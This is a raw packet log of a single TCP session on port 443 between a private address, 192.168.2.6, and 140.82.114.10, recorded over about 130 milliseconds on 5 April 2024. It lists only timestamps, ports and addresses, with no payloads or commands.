Apr 5, 2024 20:10:30.851502895 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.852315903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.852335930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.852360964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.852366924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.852400064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.852521896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.852560043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.852564096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.852591038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.853729963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.853744984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.853794098 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.853797913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.853841066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.854706049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.854722977 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.854753017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.854758024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.854796886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.854819059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.855592012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.855611086 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.855685949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.855685949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.855690956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.855724096 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.856483936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.856502056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.856535912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.856539965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.856575012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.856592894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.856658936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.856702089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.857485056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.857501984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.857568979 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.857574940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.857594013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.858742952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.858778954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.858812094 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.858818054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.858853102 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.859597921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.859612942 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.859664917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.859672070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.860397100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.860415936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.860443115 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.860446930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.860474110 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.860529900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.860588074 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.860611916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.860652924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.861475945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.861511946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.861526012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.861531973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.861563921 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.861589909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.862301111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.862318039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.862380981 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.862385988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.862440109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.863307953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.863325119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.863358974 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.863363028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.863408089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.863432884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.864343882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.864360094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.864412069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.864417076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.864479065 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.864542961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.864614964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.865370035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.865386009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.865441084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.865446091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.866297960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.866329908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.866358042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.866364002 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.866389990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.867101908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.867116928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.867162943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.867172003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.867202997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.868019104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.868040085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.868072033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.868076086 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.868079901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.868122101 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.868154049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.868158102 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.868202925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.869016886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.869033098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.869066000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.869071007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.869142056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.869891882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.869909048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.869942904 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.869951963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.869982958 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.870012045 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.870784998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.870805979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.870835066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.870840073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.870867014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.870893002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.871752977 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.871779919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.871813059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.871815920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.871850967 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.871875048 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.871875048 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.871882915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.872809887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.872843981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.872874975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.872879028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.872909069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.873866081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.873882055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.873908043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.873914957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.873960972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.874927044 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.874943972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.875003099 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.875006914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.875042915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.875762939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.875783920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.875817060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.875822067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.875860929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.875919104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.875973940 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.875978947 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.876025915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.876818895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.876835108 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.876897097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.876902103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.876957893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.877655983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.877674103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.877707005 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.877712011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.877774000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.877774000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.878577948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.878595114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.878640890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.878644943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.878676891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.878700972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.879575968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.879592896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.879637003 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.879642010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.879673004 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.879690886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.879749060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.879806042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.880644083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.880659103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.880697966 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.880702019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.880740881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.881611109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.881629944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.881666899 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.881671906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.881705999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.882388115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.882409096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.882441998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.882447004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.882479906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.883229971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.883244991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.883300066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.883305073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.883325100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.883405924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.883450985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.883457899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.883503914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.922126055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.922143936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.922178984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.922184944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.922219992 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.922243118 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.929203987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.929229975 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.929266930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.929275036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.929301023 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.929316998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.931816101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.931835890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.931866884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.931875944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.931905031 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.931921959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.933473110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.933490038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.933526039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.933532953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.933563948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.933563948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.935707092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.935755968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.937920094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.937937021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.937975883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.937980890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.937994003 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.938339949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.938859940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.938915014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.938925028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.938930035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.938965082 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.942035913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.942053080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.942090034 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.942094088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.942126989 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.943422079 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.943439960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.943485022 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.943489075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.943516016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.943666935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.943728924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.943732977 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.943819046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.944868088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.944880009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.944941998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.944947004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.945003033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.945795059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.945822954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.945849895 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.945854902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.945887089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.945905924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.951631069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.951663971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.951699018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.951705933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.951746941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.951773882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.955739975 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.955756903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.955832958 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.955838919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.955899954 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.956058025 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.956103086 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.958663940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.958681107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.958729029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.958734035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.958765984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.966207027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.966248035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.966264963 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.966272116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.966305971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.969129086 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.969144106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.969177008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.969183922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.969238043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.971333027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.971354961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.971390963 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.971396923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.971410036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.972047091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.972091913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.972095966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.972151995 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.974208117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.974234104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.974268913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.974273920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.974293947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.974313974 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.979049921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.979067087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.979110956 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.979116917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.979144096 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.979175091 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.980755091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.980782032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.980812073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.980818033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.980843067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.980889082 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.982593060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.982613087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.982647896 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.982652903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.982676029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.982687950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.982784986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.982834101 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.984407902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.984426975 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.984462976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.984467983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.984488010 CEST	49727	443	192.168.2.6	140.82.114.10
